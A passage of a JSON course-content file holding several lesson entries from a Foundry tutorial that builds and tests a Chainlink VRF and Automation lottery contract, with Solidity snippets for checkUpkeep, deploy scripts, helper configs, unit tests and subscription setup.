Chainlink Automation\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\n### Defining the Setup Functions\n\nTo implement Chainlink automation, we utilize two key functions: `checkUpkeep` and `performUpkeep`. These functions will allow our Chainlink nodes to automatically start the lottery whenever necessary.\n\nCurrently, our code includes a function named `pickWinner`. We will modify this function to permit Chainlink Automation to initiate contract calls as opposed to the manual initiation process currently in place.\n\n### Creating the `checkUpkeep` function\n\nOur first step is to create a `checkUpkeep` function. This function notifies the Chainlink nodes when it's due time to call `Perform upkeep`.\n\nTypically, the function definition may look something like this:\n\n```js\nfunction checkUpkeep(bytes memory checkData) public view\nreturns (bool upkeepNeeded, bytes memory performData) {}\n```\n\nAt a basic level, the function checks several conditions:\n\n- If the required time interval between raffle games has passed.\n- If the raffle is in the open state\n- If the contract has any ETH (meaning there are players)\n- If the subscription is funded with LINK.\n\n### Creating the `performUpkeep` function\n\nOnce `checkUpkeep()` has determined it's time for an update, it's the `performUpkeep()` function's task to trigger the actual update.\n\nThe performUpkeep function first verifies if it is indeed time to initiate an update by calling `checkUpkeep`. If the check is not passed, it will revert with a custom error called `raffle upkeep not needed`.\n\nHere's a basic implementation of the `performUpkeep` function:\n\n```javascript\nfunction performUpkeep(bytes calldata /* performData */) external override {\n (bool upkeepNeeded, ) = checkUpkeep(\"\");\n // require(upkeepNeeded, \"Upkeep not needed\");\n if (!upkeepNeeded) {\n revert Raffle__UpkeepNotNeeded(\n address(this).balance,\n s_players.length,\n uint256(s_raffleState)\n );\n }\n s_raffleState = RaffleState.CALCULATING;\n uint256 requestId = i_vrfCoordinator.requestRandomWords(\n i_gasLane,\n i_subscriptionId,\n REQUEST_CONFIRMATIONS,\n i_callbackGasLimit,\n NUM_WORDS\n );\n // Quiz... is this redundant?\n emit RequestedRaffleWinner(requestId);\n }\n```\n\n### Conclusion\n\nBy setting these functions in your contract, you can make your smart contracts more autonomous and efficient. Eliminating the need for manual interaction with your contracts enhances their performance greatly.\n\nSuccessfully compiling this script demonstrates how Chainlink automation can be adopted to automatically trigger our lottery. Consequently, we can entirely entrust Chainlink to do the heavy lifting of handling our raffle game schedules.\n\n\n", + "updates": [] + }, + { + "id": "d02f2d11-7ac8-4346-bd99-3a8f3c419fd6", + "number": 15, + "title": "Mid section recap", + "slug": "lottery-mid-lesson-recap", + "folderName": "15-mid-lesson-recap", + "description": "A recap of the progress in developing a fair and transparent lottery system using Chainlink's VRF. The lesson revisits key concepts like the raffle contract, buying into the raffle, and the decentralized draw process.", + "duration": 2, + "videoUrl": "K253axaJs4k", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/15-mid-lesson-recap/+page.md", + "markdownContent": "---\ntitle: Mid-Lesson Recap\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\n# Decoding our Smart Contract: A Dive into Chainlink VRF\n\nCongrats on making it this far! You're earning your stripes as a blockchain developer. Let's take a step back and review what you've accomplished so far, draft a roadmap for what's next, and allow the elegance of your well-written smart contract to sink in.\n\n)## The 'Raffle Contract' - Going Beyond Vanilla\n\nYour robust 'raffle contract' trusts Chainlink's VRF (Verifiable Random Function) to find its random number, ensuring fairness and opacity - the two pillars of any lottery system. Revealing the inner workings, you find a wealth of state variables and a detailed, attention-demanding constructor. Worth noting, this constructor is laying the groundwork for the rest of your smart contract.\n\n## Buying into the Raffle & Ensuring FairPlay\n\nThen comes the 'enter raffle' function, which is instrumental in ticket purchasing while certifying that only players who have paid the appropriate entrance fee can enter, thus maintaining the sanctity of the game. Your players are then added to the list (array) of contestants who are a lucky draw away from the prize.\n\nAfter an adequate timeframe, the 'checkUpkeep' swings into action. Curious how it's signaled when to move? Stick with me! Once certain conditions are met, such as the elapsing of time and players entering the raffle, this function is invoked.\n\n## The Decentralized Draw\n\nHere's where things heat up! If 'checkUpkeep' returns true - indicating that it's time for the lottery draw - Chainlink nodes, working in unison in a decentralized environment, will execute the 'perform upkeep' function, sparking a request to Chainlink.\n\nNow, it's time to wait a couple of blocks. Our VRF does need a moment to crunch those numbers, after all.\n\n## Winner Announcement & Reset\n\nOnce the Chainlink node responds, it triggers the `fulfillRandomness` function. This function embarks on the crucial task of choosing a random winner from our player array. Once the lucky winner is picked, the system resets for the next raffle.\n\nBoom! You've just completed your minimalistic, but provably fair smart contract. And even better, you've got a lottery system that runs on rock-solid principles of fairness.\n\n\n\nSo grab yourself a coffee and take a breather, you've done great so far! We'll catch up soon, where we’ll walk through further fascinating aspects of blockchain technology. Not just fair, your code is a work of art - keep it coming!\n\n## Next Steps and Interesting Reads\n\nIn our next module, we'll delve deeper into more advanced blockchain concepts and how to improve upon our existing code. Trust me, the rabbit hole goes much, much deeper! Till then, here are some interesting reads to keep the ball rolling:\n\n- [Understanding ChainLink](https://www.chain.link)\n- [Blockchain and Its Many Uses](https://www.ibm.com/topics/blockchain)\n- [Smart Contracts: The How-To](https://ethereum.org/greeter)\n\nWith this, we wrap up our journey through the 'Raffle Contract.' Here's to more code, more learning, and to building an efficient, fair lottery!\n", + "updates": [] + }, + { + "id": "0b490f27-ba53-435f-ac70-a67eb4fe0146", + "number": 16, + "title": "Tests and deploy the lotterys smart contract pt.1", + "slug": "tests-and-deploy", + "folderName": "16-tests-and-deploy", + "description": "This lesson emphasizes the importance of testing and deploying smart contracts efficiently. It guides through creating deploy scripts and testing them on various networks, ensuring reliable and secure deployment of lottery contracts.", + "duration": 8, + "videoUrl": "u5V49-7YxkQ", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/16-tests-and-deploy/+page.md", + "markdownContent": "---\ntitle: Test and Deploy Script\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nBefore we dive into writing tests to confirm the functionality and performance, We'd like to cover the need for additional getter functions which will make our code even more efficient. However, the main focus will be on developing sound, fail-safe test cases.\n\n## Plan for Writing Test Cases\n\nHere's our comprehensive plan:\n\n1. Write deploy scripts\n2. Write tests that will work on a local chain, a forked testnet, and a forked mainnet in tandem with our deployment scripts.\n\nSo, let's proceed without further ado!\n\n## Writing the Deploy Script\n\nLet's start by creating our deploy script. To do this, simply go to scripts, create a new file and name it: `DeployRaffle.sol`. Here we will define our SPDX license identifier as MIT. We will need to import a script from `forge-std/Script.sol`.\n\nRemember to run a sanity check by building our contract in the terminal. We need to specify our compiler version (0.8.18 in this instance) using the pragma solidity directive for it to work perfectly!\n\n```bash\npragma solidity 0.8.18;\n```\n\n\n\n## Creating the Run Function\n\nWe need to create a `run` function that will return our `Raffle` contract.\n\n```js\nfunction run() external returns (Raffle, HelperConfig) {}\n```\n\n## Writing the Deployment Script\n\nWhen writing down the deployment script, it's important that we refer back to the `Raffle` contract parameters as they are vital to the process. These parameters include an entrance fee, interval, VRF coordinator, gas lane, subscription ID, and callback gas limit.\n\nAs each of these parameters will vary depending on the chain used, a helper config file needs to be set up. This file will store these parameters, ensuring flexibility for deployment to any chain. Time to create a new file named: `Helperconfig.sol`.\n\n## Creating the HelperConfig Contract\n\nIn `Helperconfig.sol`, we'll create a `struct` called NetworkConfig. This struct will be populated with the parameters needed for each specific network we plan to deploy our protocol on - such as Sepolia and Anvil.\n\n```shell\ncontract HelperConfig is Script {\n struct NetworkConfig {\n uint64 subscriptionId;\n bytes32 gasLane;\n uint256 automationUpdateInterval;\n uint256 raffleEntranceFee;\n uint32 callbackGasLimit;\n address vrfCoordinatorV2;\n address link;\n uint256 deployerKey;\n }\n}\n```\n\n## Creating Network-Specific Config Functions\n\nFor both Sepolia and Anvil, we'll define corresponding `get` functions, `getSepoliaETHConfig` and `getAnvilETHConfig`, which return network specific configurations.\n\n```js\n function getSepoliaEthConfig()\n public\n view\n returns (NetworkConfig memory sepoliaNetworkConfig)\n {\n sepoliaNetworkConfig = NetworkConfig({\n subscriptionId: 0, // If left as 0, our scripts will create one!\n gasLane: 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c,\n automationUpdateInterval: 30, // 30 seconds\n raffleEntranceFee: 0.01 ether,\n callbackGasLimit: 500000, // 500,000 gas\n vrfCoordinatorV2: 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625,\n link: 0x779877A7B0D9E8603169DdbD7836e478b4624789,\n deployerKey: vm.envUint(\"PRIVATE_KEY\")\n });\n }\n\n```\n\nRemember, for the Anvil network, we'll be working with mocks, a kind of 'just-for-test' dummy data that emulates the behavior of real data. This makes the Anvil network a bit more involved, but equally as important.\n\n## Conclusion\n\nThe deployment of intelligent contracts has been simplified through the use of helper function configuration and smart deployment. The key is defining the correct network parameters for the chain of interest, and ensuring accurate deployment, as demonstrated with our Ethereum-based Raffle app. This process, although demanding, ensures that code deployment becomes seamless, regardless of the network chain used.\n\nStay tuned to see how our test cases perform in different network environments!\n\n\n", + "updates": [] + }, + { + "id": "0abda7e1-6960-471e-9109-c23a26d116c1", + "number": 17, + "title": "Deploy a mock Chainlink VRF", + "slug": "deploy-mock-chainlink-vrf", + "folderName": "17-mock-chainlink-vrf", + "description": "The focus of this lesson is on deploying a mock Chainlink VRF, vital for testing smart contracts. It provides insights into setting up mock contracts, adjusting parameters, and the importance of Chainlink VRF in blockchain development.", + "duration": 5, + "videoUrl": "2LwfdDw43Bk", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/17-mock-chainlink-vrf/+page.md", + "markdownContent": "---\ntitle: Mock Chainlink VRF\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nGreetings, everyone! If you've been following our journey so far, you may recall that we recently moved from creating and running code completely on a chain from scratch, like Sepolia, to trying it out on a forked testnet. Now, our exploration takes us further. The question before us today is -\n\n\n\n## The Battle Preparations\n\nTo start with, we need several different contracts. At the very least, we definitely need a VRF (Verifiable Random Function) Coordinator. So, let's dive in and see how we can deploy our own VRF Coordinator.\n\nIn our Lib folder `chainLink-brownie-contracts/contracts/SRC/0.8`, we can start looking for this significant VRF code. This is where we'll find a treasure trove of mocks.\n\n## Unveiling the Mocks\n\nIn fact, there's a specific folder titled `VRFCoordinatorV2Mock` amongst these mocks. The brilliance here is that we can directly use this in our tests, instead of crafting one ourselves. Chainlink VRF has indeed done the job for us.\n\nHence, let's exploit this VRF Coordinator v Two mock that is already in place. The next step in our process is to deploy this mock, which leads us to...\n\n## Deploying the Mock\n\nWe can find the import pathway in the location `@chainlink/contracts/src/v0.8/mocks/VRFCoordinatorV2Mock.sol`.\n\nWith that, we are now equipped to deploy it using a ` vm.stopBroadcast();`. This is vital to deploy to any network.\n\n## Constructor Parameters\n\nDelving into the VRF Coordinator, we are made aware that it requires two important parameters - a base fee and a gas price link. For all your Chainlink VRF interactions, payments are made in Chainlink tokens or link tokens. That is the fundamental principle we are operating upon here.\n\nThe base fee encapsulates a flat fee, while the gas price link represents the amount of link tokens gained for each additional piece of gas you use. It is crucial to remember that when the Chainlink node calls back, the Chainlink node is responsible for the gas costs, and it gets reimbursed in link tokens, based on the gas price link parameter.\n\n## Wrapping Up\n\nAnd voila! We’ve successfully set up a Sepolia config and an anvil config with our mock contracts. The primary variation between Sepolia and Anvil is the different VRF coordinator mocks. This might be a challenging venture if one is new to the crypto world, but with time, patience and a tutorial like this, it becomes more accessible. Tune in next time for more exciting exploration of decentralized digital wonders!\n\nStay curious, stay knowledgeable and happy coding!\n", + "updates": [] + }, + { + "id": "6d7b200e-2f00-4f5a-93fc-c11051574b88", + "number": 18, + "title": "Tests and deploy the lotterys smart contract pt.2", + "slug": "tests-and-deploy-2", + "folderName": "18-tests-and-deploy-2", + "description": "Continuing from the previous part, this lesson dives deeper into testing and deploying lottery smart contracts. It covers the usage of helper configurations and the integration of network-specific configurations for smooth deployment.", + "duration": 9, + "videoUrl": "vhKalATGI40", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/18-tests-and-deploy-2/+page.md", + "markdownContent": "---\ntitle: Test and Deploy Continued\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\n## The Helper Configurations\n\nFirstly, we need to import the helper configurations we previously made. We do this by adding:\n\n```js\nimport { HelperConfig } from \"./HelperConfig.s.sol\";\n```\n\nOnce we have the helper configurations in our workspace, we'll use them to deploy a new helper configuration. Here, we'll define `helperConfig` as a new instance of the HelperConfig class. Something like this:\n\n```javascript\n HelperConfig helperConfig = new HelperConfig(); // This comes with our mocks!\n```\n\nOnce the helper configuration is created, we're going to need to pull parameters from it based on the active network config. Here's the interesting part: we'll be deconstructing the `networkConfig` object into underlying parameters. This means extracting individual pieces of information from the network configuration and assigning them to new variables in our current scope.\n\nThe resulting code snippet looks like this:\n\n```javascript\n(\n uint64 subscriptionId,\n bytes32 gasLane,\n uint256 automationUpdateInterval,\n uint256 raffleEntranceFee,\n uint32 callbackGasLimit,\n address vrfCoordinatorV2,\n address link,\n uint256 deployerKey\n) = helperConfig.activeNetworkConfig();\n```\n\n## Starting The Virtual Machine Broadcast\n\nNow we have configured the helper configurations and deconstructed into smaller values. Now, we're ready to begin the virtual machine (VM) start broadcast.\n\n```javascript\nVM.startBroadcast();\n```\n\nThe VM will begin by instantiating a new Raffle contract. Parameters for the new Raffle contract are passed to the constructor, in the exact order expected by the constructor. They include `entranceFee`, `interval`, `VRFCoordinator`, `gaslane`, etc.\n\nAfter the new Raffle contract is created, the virtual machine stops the broadcast.\n\n```javascript\nVM.stopBroadcast();\n```\n\nAt this high level, the code should be good to go.\n\n## The Subscription ID\n\nBut we need to clarify one thing. You need a subscription ID. You can either get it from the user interface (UI) or generate it in your deployment script. Being a developer, I would prefer my script does everything for me. But of course, you can fetch it directly from the UI if that works better for you.\n\nHowever, we will pretend for now that this deployment script is working, even though it isn't, and begin writing unit tests.\n\n## Writing Unit Tests\n\nBuckle up, because it's time to write some tests! We'll start by creating two directories - one for unit tests, and another for integration tests.\n\nWithin our `unit_tests` directory, we'll create a new file `RaffleTest.t.sol`. This test file will include all of the necessary components for running a comprehensive test of our deployment script.\n\nThe structure of the test function includes the set up for the test environment, calls the deployment script, and tests to ensure that important variables are outputted correctly.\n\n```javascript\n function setUp() external {\n DeployRaffle deployer = new DeployRaffle();\n (raffle, helperConfig) = deployer.run();\n vm.deal(PLAYER, STARTING_USER_BALANCE);\n\n (\n ,\n gasLane,\n automationUpdateInterval,\n raffleEntranceFee,\n callbackGasLimit,\n vrfCoordinatorV2, // link\n // deployerKey\n ,\n\n ) = helperConfig.activeNetworkConfig();\n }\n```\n\nIn addition, we want to create a starting player, with a distinct address and initial balance of 10 ETH, to interact with the Raffle contract.\n\n```javascript\naddress public PLAYER = makeAddr(\"player\");\nuint256 public constant STARTING_USER_BALANCE = 10 ether;\n\n```\n\n## Checking The Deployment\n\nLastly, we want to test our deployments. To do so, we need to get all our parameters from the HelperConfig. Best practice would be to return both the newly deployed Raffle and the HelperConfig variables. That way, our tests have access to the exact same variables that were inputted during the Raffle's deployment.\n\n\n\n## Sanity Check\n\nFinally, let's run a quick sanity test to ensure that our raffle initializes in the `open` state. This can be done with a simple function that asserts that the state of the Raffle contract is `open`.\n\nAside from confirming the successful deployment of our Raffle contract, this test will also help verify that our HelperConfig and deployment script are working as expected.\n\nHere's what the function looks like:\n\n```javascript\n function testRaffleInitializesInOpenState() public view {\n assert(raffle.getRaffleState() == Raffle.RaffleState.OPEN);\n }\n```\n\nCongratulations! We've successfully written our deployment script and unit test. Now we can run our test suite and confidently deploy contracts on any specific networks, thanks to our HelperConfig configuration. Well done and stay tuned for the next post in our series!\n", + "updates": [] + }, + { + "id": "7be9d513-2092-4406-8eff-045e1589265c", + "number": 19, + "title": "Setup the tests", + "slug": "setup-solidity-lottery-tests", + "folderName": "19-lots-of-tests", + "description": "This lesson teaches the setup and execution of tests for smart contracts, emphasizing the significance of forge coverage and the Arrange-Act-Assert methodology to ensure robust and reliable smart contract functionality.", + "duration": 5, + "videoUrl": "7YhgCI_x_x4", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/19-lots-of-tests/+page.md", + "markdownContent": "---\ntitle: Lots of Tests\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nLet's shift our focus towards a programmatic approach to software development. One of the best ways to write robust, reliable code begins with writing some solid tests for it. At this point in your development journey, you may be thinking, \"Where do I start?\" Let's dive into creating tests with forge coverage.\n\nBefore starting, it's worth mentioning that coverage isn't the be-all and end-all of software testing, but the more you practice writing tests, the better your software will be. Along the way, you'll also pick up nifty tips and tricks that will help you write better code and better tests.\n\n## Start with Simple Test: Validate `EnterRaffle` Function\n\nAs an initial step, we'll start with creating tests for the `EnterRaffle` function.\n\n```javascript\nfunction enterRaffle() public payable {...}\n```\n\nHere is how we create a basic test:\n\n```javascript\n function testRaffleRevertsWHenYouDontPayEnought() public {\n // Arrange\n vm.prank(PLAYER);\n // Act / Assert\n vm.expectRevert(Raffle.Raffle__SendMoreToEnterRaffle.selector);\n raffle.enterRaffle();\n }\n```\n\nThe name of the method here explains the test’s aim–to verify whether entering a raffle without sufficient payment results in an error. This test follows the Arrange-Act-Assert methodology.\n\n## Arrange-Act-Assert: A Closer Look\n\nAlthough it isn't necessary to type out 'Arrange-Act-Assert' every time you write a test, it cannot be overstated how crucial this concept is to write effective tests.\n\n1. **Arrange**: This section sets up the necessary conditions for the test. In this case, it involves setting up a scenario where a user tries to enter the raffle without paying enough.\n2. **Act**: We enact the circumstance we are testing– in this case, trying to access the raffle without the necessary funds.\n3. **Assert**: The assert phase is where your tests confirm if the actual result meets the expected outcome.\n\n\n\n## Running the Test\n\nTo test this function, run the command `forge test -m \"[Title of your test]\"`. If written correctly, the test should pass.\n\n\n\n## Further Testing: Record Player Entrance\n\nAnother essential aspect to test is if our `players` array is being updated whenever a player enters the raffle successfully.\n\n```javascript\n function testRaffleRecordsPlayerWhenTheyEnter() public {\n // Arrange\n vm.prank(PLAYER);\n // Act\n raffle.enterRaffle{value: raffleEntranceFee}();\n // Assert\n address playerRecorded = raffle.getPlayer(0);\n assert(playerRecorded == PLAYER);\n }\n```\n\nSimilar to our first test, we create a scenario where a player enters the raffle and pays the required fee. The expected outcome would be that the `players` array records the player's address. However, since there is no way to access the `players` array as it is, we need to add an accessor function named `getPlayer`.\n\n```javascript\n function getPlayer(uint256 index) public view returns (address) {\n return s_players[index];\n }\n```\n\nThis function allows us by giving the index number of the player we want to get.\n\nThe final step would be to add the assertion which would verify if the `players` array recorded the player in the index we specified.\n\nRemember to run the `forge test -m \"[Title of your test]\"` command to check if your test passes.\n\nUsing these foundational principles, we're well on our way to creating a battery of tests.\n\nStay tuned for our upcoming posts where we'll dive deeper into writing more sophisticated tests for different scenarios, learning about function selectors and more. Happy testing!\n", + "updates": [] + }, + { + "id": "5dda3821-5257-4e10-8980-e5e97370ea15", + "number": 20, + "title": "Testing events", + "slug": "testing-events-solidity", + "folderName": "20-testing-events", + "description": "A detailed guide on testing events emitted by smart contracts, highlighting the use of Foundry's `expectEmit` function. The lesson focuses on ensuring correct event emissions, crucial for smart contract validation.", + "duration": 4, + "videoUrl": "jFsQeUAHLC0", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/20-testing-events/+page.md", + "markdownContent": "---\ntitle: Testing Events\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nAs developers, it's essential to be thorough in our testing process, especially when developing smart contracts. Recently, I (Patrick) found myself pondering, \"What else do we need to test?\" After testing several lines within my code, it struck me! Testing the events emitted by functions; an important but often overlooked area of smart contract testing.\n\nIn Immutable Foundries, this can be a bit tricky, so today, let's conquer this vital frontier of blockchain development! Let's delve deep into our code cavern to ensure that our contract is emitting the correct events at the right time.\n\n## Triggering Events: The Expect Emit Function\n\nTesting smart contract event emissions in Foundry involves this secret maneuver I call _the cheat code_; named as such because it manipulates the runtime environment to accomplish our mission. It's a neat trick provided to us by Foundry's Virtual Machine, and it's called `expectEmit`.\n\nThis `expectEmit` function takes a few parameters:\n\n- A collection of Booleans that represent your indexed parameters (also known as topics in solidity event emissions).\n- Check data, usually checked Boolean values.\n- The address of the emitter (smart contract).\n\nThe function works as follows:\n\n```javascript\n function testEmitsEventOnEntrance() public {\n // Arrange\n vm.prank(PLAYER);\n\n // Act / Assert\n vm.expectEmit(true, false, false, false, address(raffle));\n emit RaffleEnter(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n }\n```\n\n- We declare that we expect a certain emit to match the parameters provided. This declaration flags the next instantiation of the function we’re about to run to emit an event.\n- Following the expectEmit declaration, we run the function that should cause the event emission.\n- We're saying \"this next emit that I do manually; I expect that to happen in this upcoming transaction.\"\n\n\n\nThis declaration should look like this:\n\n```javascript\nvm.expectEmit(true, false, false, false, address(raffle));\n```\n\nThe `vm.expectEmit` contains:\n\n- One `true`, signifying one indexed parameter or topic present in the event.\n- Following three `false`', indicating there are no additional parameters.\n- The address of the smart contract is `address(raffle)`.\n\n## Emulating Events in Tests: Redefine Them\n\nAs smooth as the `expectEmit` function makes the testing process, the inconvenience is the necessity to redefine events in our tests. Events in Solidity are not like enums or structures. We can't import them frugally across our application.\n\nInstead, we have to redefine these events within our individual tests.\n\n```javascript\n modifier raffleEntered() {\n vm.prank(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n _;\n }\n```\n\nAfter redifining the contract event, you emit it manually with correct parameters and proceed to call the function that you expect will emit such an event during a transaction.\n\nFinally, after setting up our test function with the VM prank, supplying transaction parameters, and redefining the event, we can proceed to run the test.\n\n```bash\n forge test -m \n```\n\nAnd Voila! Now you have a thorough test for your event emissions, increasing the robustness of your smart contract. Don't skip this step in your tests. Event emission testing not only ensures correct data transaction but also achieves an effective means of logging and monitoring data flow during runtime. Happy coding!\n", + "updates": [] + }, + { + "id": "09041b73-1723-40e6-b3fa-5f5907280e23", + "number": 21, + "title": "Using vm.roll and vm.wrap", + "slug": "vm-roll-warp", + "folderName": "21-vm-roll-warp", + "description": "Exploring the use of `vm.roll` and `vm.wrap` in smart contract testing, this lesson demonstrates how to adjust block time and number for testing various states and transitions in smart contracts.", + "duration": 3, + "videoUrl": "ydPyediH7qU", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/21-vm-roll-warp/+page.md", + "markdownContent": "---\ntitle: VM.Roll adn VM.Warp\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nAfter successfully entering the raffle, the next step involves kicking off a 'perform upkeep'. This function changes the state of the raffle to ‘calculating’. To do this, the 'checkUpkeep' function will have to return a value of true.\n\nEnough time must pass for this state transition to occur. In the context of working on a forked or local blockchain chain, things become interesting, and slightly tricky. On these chains, it's possible to modify the block time and block number. This can be achieved using the cheat codes 'VM warp' and 'VM roll'.\n\n**Adjusting the Block Time**\n\n```shell\nvm.warp(block.timestamp + automationUpdateInterval + 1);\n```\n\n**Modifying the Block Number**\n\n```shell\nvm.roll(block.number + 1);\n```\n\nIn the above code, 'VM warp' sets the block timestamp, while 'VM roll' modifies the block number. By adding '1' to each of these instances, the bonus block in the test ensures that the required time exceeds the interval.\n\nHowever, an important note: **Remember to always pass some empty data while calling 'performUpkeep'**.\n\n```shell\nraffle.performUpkeep(\"\");\n```\n\n## Testing the Calculating State\n\nAt this stage, the raffle should now be in the calculating state, so attempts to enter the raffle should fail. This can be simulated through the 'expect revert' function which expects the new attempt to join the raffle to be rejected by the contract.\n\n```shell\nvm.expectRevert(Raffle.Raffle__RaffleNotOpen.selector);\n```\n\nTo test this, we'll be pranking the player with the next real call to revert. This can be achieved by invoking 'VM Prank Player' with the next real call to the raffle's 'enter' function.\n\n```shell\nvm.prank(PLAYER);\n```\n\n## Takeaways\n\nTesting your smart contracts allows you to uncover potential bugs or loopholes in your code. Leveraging local blockchains provides an advantage of tweaking parameters like block time and number. Remember to be patient and thorough in your process, as this improves the reliability of the contracts you write. Happy testing!\n", + "updates": [] + }, + { + "id": "336dea6a-f38c-4e01-9845-d1551f1325fa", + "number": 22, + "title": "Subscribing to events", + "slug": "create-subscriptions", + "folderName": "22-create-subscriptions", + "description": "This lesson covers the process of deploying contracts, creating, and managing Chainlink VRF subscriptions. It focuses on resolving common errors and efficiently managing Chainlink VRF in smart contracts.", + "duration": 12, + "videoUrl": "oLvQR5FNCu0", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/22-create-subscriptions/+page.md", + "markdownContent": "---\ntitle: Create Subscriptions\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nHave you ever encountered an `invalid consumer error` while deploying your raffle contracts using Chainlink VRF? Maybe you aren't familiar with the subscription model that Chainlink VRF uses, or perhaps you're uncertain about testing your contract. In this post, we'll guide you through the process of deploying raffle contracts, creating and funding a subscription, and adding a raffle contract as a consumer to the subscription.\n\nBy the end of this tutorial, you should be able to handle Chainlink VRF deployment with confidence. Let's dive right in!\n\n## Debugging: Invalid Consumer Error\n\nLet's start by adding some variables to see what's causing the problem. After adding five variables, we encountered an `invalid consumer error` on our VRF Coordinator mock. On opening the `VRFCoordinatorV2Mock.sol` file, we discovered a modifier named `only valid consumer`.\n\nThis modifier only allows operations if a consumer is added. This requirement hints at the subscription model that Chainlink VRF uses.\n\nHere’s a brief overview of the Chainlink VRF subscription model. When working with it, you'll need to follow these steps:\n\n1. Create a subscription\n2. Fund the subscription\n3. Add the raffle contract as a consumer to the subscription\n\nThe subscription model prevents random people from using your subscription. We learned this process by watching a video walkthrough that demonstrates how to perform all these steps via UI.\n\n## Improving the Deployment Script\n\nOur existing deployment script needs to ensure a valid subscription upon deployment. Each raffle contract we deploy needs to be added as a consumer to our subscription. On a real test network (testnet), we can perform these operations in the UI. However, for testing purposes, we need to do this programmatically.\n\nRather than tweaking the VRF Coordinator mock to automatically add a consumer, we opted for a more thorough solution. Refactoring our `DeployRaffle.s.sol` script allows us to run tests to simulate real usage. We're going to implement this process step-by-step below.\n\n## Refactoring to Create Subscription\n\nThe first change we make is to check the subscription ID. If it's absent or defaults to zero, calls to the function won't go through. We need a valid subscription ID from the helper configuration or from creating a new subscription manually.\n\nThe script below can identify whether we have a subscription ID or not:\n\n```javascript\n if (subscriptionId == 0) {\n CreateSubscription createSubscription = new CreateSubscription();\n subscriptionId = createSubscription.createSubscription(\n vrfCoordinatorV2,\n deployerKey\n );\n\n FundSubscription fundSubscription = new FundSubscription();\n fundSubscription.fundSubscription(\n vrfCoordinatorV2,\n subscriptionId,\n link,\n deployerKey\n );\n }\n```\n\nThe rest of the `DeployRaffle.s.sol` script will be housed in the `Interactions.s.so` contract, which includes a `createSubscription` function:\n\n```javascript\n function createSubscription(\n address vrfCoordinatorV2,\n uint256 deployerKey\n ) public returns (uint64) {\n console.log(\"Creating subscription on chainId: \", block.chainid);\n vm.startBroadcast(deployerKey);\n uint64 subId = VRFCoordinatorV2Mock(vrfCoordinatorV2)\n .createSubscription();\n vm.stopBroadcast();\n console.log(\"Your subscription Id is: \", subId);\n console.log(\"Please update the subscriptionId in HelperConfig.s.sol\");\n return subId;\n }\n```\n\nFor the `createSubscription` function, we'll be using the helper `config` to get the `VRF Coordinator` address, allowing us to create the subscription.\n\nTo call the `CreateSubscription` function, we use a `broadcast`. This action calls the `createSubscription` function on the `VRFCoordinator` mock:\n\n```javascript\nCreateSubscription createSubscription = new CreateSubscription();\nsubscriptionId = createSubscription.createSubscription(\n vrfCoordinatorV2,\n deployerKey\n);\n```\n\n\n", + "updates": [] + }, + { + "id": "588706e2-4bd4-4f14-863f-e8b666222610", + "number": 23, + "title": "Creating the subscription UI", + "slug": "subscription-ui", + "folderName": "23-subscription-ui", + "description": "A guide to creating and managing front-end subscriptions for Ethereum Blockchain, this lesson covers steps from transaction initiation to automatic link token funding, emphasizing user interface interactions.", + "duration": 4, + "videoUrl": "WvxP4Lc2RBo", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/23-subscription-ui/+page.md", + "markdownContent": "---\ntitle: Create Subscription UI\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nOne of the crucial aspects of developing on the Ethereum Blockchain is to harness the power of front-end subscriptions. In the course of this guide, we'll take you through creating and funding a subscription, even on the testnet.\n\nThis might entail a considerable waiting time, courtesy of the testnets. However, we'll make the wait worth your while by diving deep into each step until you achieve automatic link token funding.\n\n## Creating a Subscription\n\nWhether you're a newbie or a seasoned coder, running transactions in the front end can be a rewarding and exciting task. Here’s how I go about it:\n\n```markdown\nApprove transaction > Calling Create Subscription > Await creation > View transaction\n```\n\nWhen you complete this transaction, you can then create a subscription with a unique ID. This ID becomes handy when you're about to add to your helper config or run your script.\n\nOften you'd remark:\n\n\n\n## Funding Your Subscription\n\nNow that you have your subscription, it’s time to get some Link tokens under your belt! Here's how you can do it:\n\n1. Initiate **Actions** > **Fund Subscription**.\n2. Ensure you have the Link in your wallet. If not, head over to the Faucets Chain Link.\n3. Select the number of links you'd like to acquire, I recommend 20 test links for a start.\n4. Confirm you're not a bot and input your address.\n5. Send the request and wait for the popup notification confirming your request.\n\n\n\nOnce you've covered these steps, you'll receive the tokens in your wallet. But remember, certain tokens like ERC20 and ERC677 don't automatically show in your MetaMask wallet.\n\n\n\n## Adding Tokens to MetaMask\n\nAfter refreshing your UI, you should see your active subscription. However, to see your tokens, you need to add them to your MetaMask. You can do this in a few steps:\n\n1. Navigate to **Docs chain link > Get Started > Link Token Contracts > Sepolia Testnet.**\n2. Copy the address or click **Add to Wallet** to instruct your MetaMask to import these tokens.\n3. Hit **Import Tokens** > **Paste address** > **Add custom tokens** > **Import tokens**.\n\n\n\nSee how simply you added Sepolia ETH and Abraham Lincoln? Now you have your tokens imported to MetaMask and are ready to fund your subscription.\n\n## Transferring Your Tokens\n\nWith your loaded MetaMask wallet, you can transfer funds to your subscription. Here’s how you can do 